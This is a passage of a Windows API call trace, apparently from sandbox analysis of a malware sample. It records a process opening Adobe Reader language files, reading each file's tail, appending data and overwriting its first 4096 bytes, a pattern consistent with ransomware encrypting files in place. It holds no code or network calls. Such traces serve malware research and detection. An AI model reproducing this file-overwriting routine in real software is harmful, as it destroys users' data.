lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_LB.txt", lpUsedDefaultChar=0x0) returned 30 [0042.723] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.725] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5c96 [0042.725] ReadFile (in: hFile=0x1d4, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.727] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5c96 [0042.727] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.728] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0042.728] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.728] CloseHandle (hObject=0x1d4) returned 1 [0042.728] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0042.731] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.731] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6cde [0042.731] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.731] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.733] ReleaseMutex (hMutex=0x128) returned 1 [0042.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0042.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd2c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.bg.txt", lpUsedDefaultChar=0x0) returned 27 [0042.734] ReadFile (in: hFile=0x1c4, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.743] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5cde [0042.743] ReadFile (in: hFile=0x1c4, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.750] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5cde [0042.751] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.751] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0042.751] WriteFile (in: hFile=0x1c4, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.752] CloseHandle (hObject=0x1c4) returned 1 [0042.752] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0042.752] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.753] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x7328 [0042.753] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.753] ReleaseMutex (hMutex=0x128) returned 1 [0042.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.de_DE.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.de_DE.txt", lpUsedDefaultChar=0x0) returned 30 [0042.753] ReadFile (in: hFile=0x1c4, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.765] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6328 [0042.765] ReadFile (in: hFile=0x1c4, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.766] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6328 [0042.766] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.766] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0042.767] WriteFile (in: hFile=0x1c4, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.767] CloseHandle (hObject=0x1c4) returned 1 [0042.767] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0042.767] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.767] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6ec4 [0042.768] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.768] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.768] ReleaseMutex (hMutex=0x128) returned 1 [0042.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0042.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd2c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es.txt", lpUsedDefaultChar=0x0) returned 27 [0042.768] ReadFile (in: hFile=0x1c4, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.770] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5ec4 [0042.770] ReadFile (in: hFile=0x1c4, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.771] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5ec4 [0042.771] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.772] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0042.772] WriteFile (in: hFile=0x1c4, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.772] CloseHandle (hObject=0x1c4) returned 1 [0042.772] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0042.772] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.773] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6ec8 [0042.773] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.773] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.773] ReleaseMutex (hMutex=0x128) returned 1 [0042.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_GT.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_GT.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_GT.txt", lpUsedDefaultChar=0x0) returned 30 [0042.773] ReadFile (in: hFile=0x1c4, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.775] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5ec8 [0042.775] ReadFile (in: hFile=0x1c4, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.776] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5ec8 [0042.777] WriteFile (in: hFile=0x1c4, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.777] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0042.777] WriteFile (in: hFile=0x1c4, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.777] CloseHandle (hObject=0x1c4) returned 1 [0042.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0042.781] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.781] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6ec8 [0042.781] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0042.782] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.782] ReleaseMutex (hMutex=0x128) returned 1 [0042.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_UY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_UY.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_UY.txt", lpUsedDefaultChar=0x0) returned 30 [0042.782] ReadFile (in: hFile=0x1c4, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.403] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5ec8 [0043.403] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.407] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5ec8 [0043.407] WriteFile (in: hFile=0x1c4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.408] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0043.408] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.408] CloseHandle (hObject=0x1c4) returned 1 [0043.408] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0043.408] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.409] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6f44 [0043.409] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.409] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.409] ReleaseMutex (hMutex=0x128) returned 1 [0043.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0043.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fr_FR_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x1eb2084, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fr_FR_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0043.409] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.412] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5f44 [0043.412] ReadFile (in: hFile=0x1c4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.413] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5f44 [0043.414] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.414] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0043.414] WriteFile (in: hFile=0x1c4, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.414] CloseHandle (hObject=0x1c4) returned 1 [0043.415] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0043.415] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.415] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6e8e [0043.415] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0043.416] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.416] ReleaseMutex (hMutex=0x128) returned 1 [0043.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0043.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.it_IT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x1eb2084, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.it_IT_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0043.416] ReadFile (in: hFile=0x1c4, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.418] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5e8e [0043.418] ReadFile (in: hFile=0x1c4, lpBuffer=0x3a4ec58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4ec58*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.421] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5e8e [0043.421] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.422] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0043.422] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.422] CloseHandle (hObject=0x1c4) returned 1 [0043.422] CreateFileW 